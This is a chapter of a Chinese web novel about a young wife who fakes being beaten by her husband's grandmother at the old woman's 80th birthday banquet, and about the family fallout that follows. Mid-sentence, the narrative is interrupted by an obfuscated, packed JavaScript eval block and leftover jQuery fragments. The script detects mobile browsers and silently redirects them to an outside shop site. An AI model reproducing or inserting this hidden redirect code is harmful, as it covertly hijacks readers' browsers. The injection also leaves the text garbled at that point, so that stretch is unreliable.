算计你,那又咋了?
谁让你特么的总是为老不尊,还特么的爱倚老卖老。
岑晚心里不屑,面上却刹时哭的梨花带雨的,她人也虚弱无比的靠在言羡身上,“老公,我的头好痛哦!奶奶骂我,奶奶还打我!你要不及时赶来,我就要被她打死了,呜呜呜……”
“别说话了,我先送你去医院,其它事回来再说。”
言羡面色阴沉,抱着人就走,将身后言老夫人叫住他的声音都抛掷不理。
岑晚小小的惊呼一声,没想到他会突然把自己抱起来,还要送她去医院。
她心里直呼卧槽,玩脱了,要是去医院啥也没查出来,那也太尴尬了吧?
但现在后悔也是来不及了,她只能继续装作虚弱不能自理的模样,将头靠在言羡的肩上,想着到了医院她该怎么编的合理又像话一点。
可还有一件事,被“打”的是她,他脸色那么难看干嘛?
又皱眉又青着个脸的,不知道的还以为他挨打了呢?
……
岑柒刚才就看明白了,他妹岑晚纯粹就是装的。
他就说嘛,就岑晚这个死样子,还能傻乎乎的站在原地,让别人挨着她一星半点?
怕是人家还没碰上她的衣袖,她的巴掌就已经甩到了那人的脸上了。
何况是言老夫人这样的老太太,岑晚收拾起来就更不在话下了。
岑柒合理怀疑,要是把岑晚惹急了,她能抢过言老夫人的拐杖,反揍那老太太一顿。
实在不是他故意抹黑岑晚,他妹子就是这样不讲武德,更没有素质。
说难听一点,当年岑晚和他一块学的那些礼仪规矩,早特么的还给老师了。
明白过后,岑柒刚才提起的一颗心也就放下了,但他面上却故作严肃的对言景川说道:“言伯父,我实在是没有想到,我妹妹晚晚在你们言家,居然过得是这种日子!你们言家娶的是儿媳妇吗?不知道的还以为,你们娶了个仇人回来呢!”
没等言景川解释,他冷嗤一声,又转头看着言老夫人,说道:“老太太,先前我们家还以为您是个慈眉善目的老太太,我爸妈还总让晚晚孝顺您呢,现在看来……呵呵。您老人家走着瞧,您一定会为您今日的所作所为,付出代价!”
撂下这话,他也不顾言景川顶着一脑门子汗在那挽留,冷着脸也离开,去了医院。
再不走,他就要绷不住了。
虽然他不知道岑晚到底是想要干嘛,但这出戏他陪她演定了。
而且在岑柒眼里,就算岑晚是在演戏,言老夫人没有真的打到了她,那也不行。
他刚才可是看的清清楚楚的,老家伙的拐杖都举了起来,要不是岑晚聪明反应又快,指不定今天他妹的脑瓜子可真得被打的开花。
他平常和岑晚这个妹妹打闹惯了,有时候也会吵的脸红脖子粗,你不让我我也不让你的,可那都是对外的,岑晚到底是他的亲妹妹。
妹妹在自己眼前被这么欺负,他要还能忍下去,就不是个男人。
岑柒走后,言景川怒视着他妈,“妈!您怎么能那么做呢!?晚晚就算真的说错什么话,惹您不高兴了,您顶多说她两句就算了,您怎么可以动手打她呢!?她年纪还小,您比她大那么多,您就不知道让让她吗?而且她只是你的孙媳,就是您的儿媳,不,不管对方是您的谁,您都不能动手打人啊!”
“人家要是真较真了,告您故意伤害怎么办?难道到时候还要我这个当儿子的,去警察局捞您吗!?多丢人啊!”
“您看看您,今天还是您老人家的八十大寿,您看看您办的这都叫什么事!我都不好意思说您,关键这事还让人家哥哥看到了,您这是干什么啊?您这是在公然的打岑家的脸啊!”
“现在,您要我怎么跟岑家交代?晚晚要真被您打出个好歹来了,咱们连哭的地方都没有!”
他也觉得他妈太离谱了,居然打岑晚。
何况在他看来,岑晚一个一向柔柔弱弱的小姑娘,能犯多大的错误,他妈这小老太太何至于此呢?
想到刚才岑柒撂下的话,以及那背后站着的岑家,他就焦头烂额的,不知道该怎么办才好。
言景川心里清楚的很,岑家可不是好惹的。
更要命的是,最近这段日子,言家和岑家还有个合作,还在商榷中。
这要是人家爸妈知道这事了,那那合作……啧,那可是块肥肉啊!
他可舍不得放手!
他倒是不觉得岑晚撒谎了,他其实还挺相信他妈这老太太,打了岑晚,毕竟他刚刚不仅眼见为实了,而且他当儿子的,自然比谁都知道他自个的亲妈是个什么样的人了。
在他眼里,言老夫人还真的做的出打人的事来。
一连串的指责,说的言老夫人面红耳赤的,更是将人气的头晕目眩。
她杵着拐杖,退后几步坐回了椅子上,这才觉得安全了,紧接着她便拍着大腿,扯着嗓子叫道:“言景川你这个龟儿子,你知道个屁!你知道你老娘我,刚才被岑晚那小贱人骂成什么样了吗?那小贱人都快要把我骂成她孙子了!简直就是倒反天罡!”
“是那小贱人先骂我尖酸刻薄的,还话里话外的说我比不上她的亲奶奶,说她亲奶奶就是善良就是热心肠,说我就是个恶毒婆婆恶毒奶奶!你说说,我怎么不生气,怎么会不动手打她!?”
“而且我还没打到她,是她装的!我的拐杖根本就没碰到她,她自个就倒下了,她在栽赃,在陷害!更何况就算我真的打到了她,那又怎样?她既然嫁进了我们言家,嫁给了我的乖孙,那她犯错的时候,我这个当奶奶的骂她几句,打她几下,又怎么了!?”
“那小贱人就该打!”
“你个龟儿子的,你不先问清楚事情的起因经过结果,就来教训起你老娘我来了,我看你比那小贱人还要该打!”
这一口一句的小贱人,听的言景川和林如雪都直皱眉,心里也不由的对于老太太打了岑晚的事,更信了几分。
瞧瞧,瞧瞧!
这老太太在他们面前都这样嚣张,在人家那小姑娘的面前,指不定又是个什么样呢。
何况都这个关头了,这老太太还高高在上的,以为自己做了天大的好事吗?
而且就算真像言老夫人说的那样,她没有打岑晚,那又怎样?
人家岑晚就是在他们眼皮子底下,被她亲哥哥看到了,她被婆家的奶奶打了,到时候岑晚再死咬着,非说言老夫人打了她,那他们又能怎么办?
啧,麻烦。
这八十大宴,真是办错了!
林如雪厌烦的翻了个白眼,阴阳怪气道:“妈,我说您也真是的,对着晚晚一个如花似玉的小姑娘都能下这种狠手,别说晚晚害怕了,我现在看见您都腿抖。您看看您,唉……我都不知道该说您什么才好了。”
言老夫人指着她,气的直打哆嗦,“你、你!我都说了,我根本就没打她,你耳朵聋吗!?还有,这就是你跟我说话的态度吗?你以为我打了她,就不会打你了……”
林如雪打断了她的话,两手一摊,“这不结了,您刚刚也承认了,您就是打她了。”
言老夫人:“……”
此刻老太太觉得自己整个人都要裂开了,她想,她真是气懵了。
可林如雪还是没有放过她,持续输出。
“好好一个寿宴,您非要弄成这样,您要不想办这个八十大寿,您早说啊,我们不给您办就是了。您何必现在又拿晚晚来撒气呢?您老人家也真是老了,看不清局势,看不清人了。您是以为人家晚晚的娘家岑家,和我娘家林家一样,势弱了,才这样的吗?”
“那您可就看走眼了,人家岑家还好着呢!不然您儿子当初也不会亲自把您乖孙的照片,送到我那亲家母的手里,让她……”
“好了!闭嘴!就你话多。”
言景川听她越说越不像话,开口呵斥。
林如雪冷哼一声,看着言老夫人气的哼哧哼哧的模样,嘴角不露痕迹的微微翘起。
她从嫁进言家后,就一直和这个婆婆不对付,婆媳之间的关系不说势如水火,也是绝对好不到哪里去的。
再加上她娘家林家这些年发展越发的不好,言老夫人更是看她眼睛不是眼睛,鼻子不是鼻子的,她跟这老太太的关系更是雪上加霜。
而现在有机会踩婆婆一脚,她自然不会错过这个机会。
更何况她也算是看着岑晚长大的,对这个从小就漂亮到大的小姑娘还是很有好感的,现在自然会为岑晚说几句话。
她也看的清楚,她儿子那个榆木脑袋也是喜欢岑晚的,她这个当妈的更是不能拖后腿。
这么想着,她拉着言景川就要走,“咱们快先去医院看看晚晚吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819256|211118||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,她要真有个好歹,那可怎么办呦!”
言景川也急了,“对,对,还是你想的周到,咱们赶紧去看看!”
说完两人就急步而去,身后的言老夫人气的直冲他们的背影喊道:“走走走!都走!你们这群不肖子孙,走了就都别回来了!”
然而,没有一个人回头。
于是,老太太往后一撅,气晕了。
……
到了医院门口,岑晚抱着男人的胳膊,撒娇般说道:“老公,我觉得我好多了,不用看医生了,我现在就想回家,你带我回家好不好?”
言羡不语,只是一味的看着她,直把岑晚看的心里都发毛了,他才开口:“真的不用看医生?”
岑晚猛猛点头,表示自己真的一点问题也没有。
不只如此,她嘴上还说道:“你也知道,你奶奶毕竟都八十岁的人了,小老太太哪有什么力气啊,我就是刚刚被打,痛了一下,其实来医院的路上,我就不痛了。”
言羡还是不说话,只是继续盯着她。
岑晚皱眉,小心翼翼的问道:“怎么了?”
完犊子的,该不会这么快就被看穿了吧?
“好了,我知道你在装。”
看她这副小心翼翼的模样,言羡没忍住,笑了。
岑晚惊讶的看着他,“你知道我是装的?那你怎么还……”
言羡收起笑容,一脸认真,“我知道你一向不喜欢奶奶,趁此机会,以后你也不用再勉强自己了,你可以当她不存在,不用再去见她了。”
岑晚眼睛一亮,“真的?”
言羡点头,“嗯,我说话算话。”
“太好了!这叫什么?因祸得福!”
岑晚笑的开心,像个偷吃了糖的小孩,言羡被她的一举一动所牵引,也弯起了唇。
他又看了岑晚好一会,才用很真挚的语气说道:“晚晚,在我面前,你不需要勉强自己,也不需要伪装自己,你在我这永远自由。”
“你想做什么就做什么,不想做什么也不用搭理任何人,你开心就好。其它的事,都交给我来处理。”
他将人娶回家,不是为了限制她,更不是为了让任何人给她脸色看的。
她是他求而得之的心肝肉,他恨不得将她融入骨血,没有任何人比得上她在他心里的地位。
…
言羡看她的眼神太过炙热,岑晚下意识的闪躲,耳朵也悄悄的红了。
她心里泛起了一丝波澜,想,这个男人,好像还不错?
居然没有拆穿她,反倒还跟她说了这么一番话,啧……还怪贴心的嘞。
不过,他说归这么说,她也只是这一刻有点动容而已。
她真要信了他的话,在他面前为所欲为的,恐怕第一个跟她翻脸的就是他,毕竟他们又没什么感情。
她信他个鬼。
感受着她的耳朵都要烫飞了,岑晚咳嗽一声,不自然的岔开话题,“不过,你是怎么知道我是装的?”
她寻思着,她的演技应该没那么low啊,要知道她的演技,可是在她哥岑柒身上练出来的。
言羡挑了挑眉,“咱们从小就认识,我还不了解你嘛。”
一开始见岑晚摔到地上,他还真以为他奶奶打了岑晚,正又气又心疼时,听岑晚叫了他句老公,他就瞬间明白了。
岑晚一般都只在床上这么叫他,还得是他威胁她才会多叫几声,而除了在床上,如果叫他老公的话,那就是二般情况,也就是岑晚打算使坏了。
果然,也如他所料。
他就说嘛,谁欺负的了她这个小魔头,她不去欺负别人就算好的了。
也幸好她既不尊老也不爱幼,纯粹缺德没素质,要不然她要真被打了,就算对方是他亲奶奶,他也不会轻易放过对方。
岑晚摸了摸鼻子,难得有些不好意思,见她脸和耳朵都红了,言羡心里大乐,忍不住想要逗她,更想要亲她。
他这么想了,也这么做了。
言羡伸出双手,托住她的脸,将她的下巴抬高,看着她那双潋滟的眼睛,轻声诱哄道:“晚晚,把眼睛闭上……”
意识到他要做什么,岑晚听话的闭上了眼睛,于是言羡与她越离越近,就快要碰到那红唇时,突然车门被拍响,岑晚一个激灵,连忙把人给推开,她自己也快速反应过来,低头整理自己身上的衣服。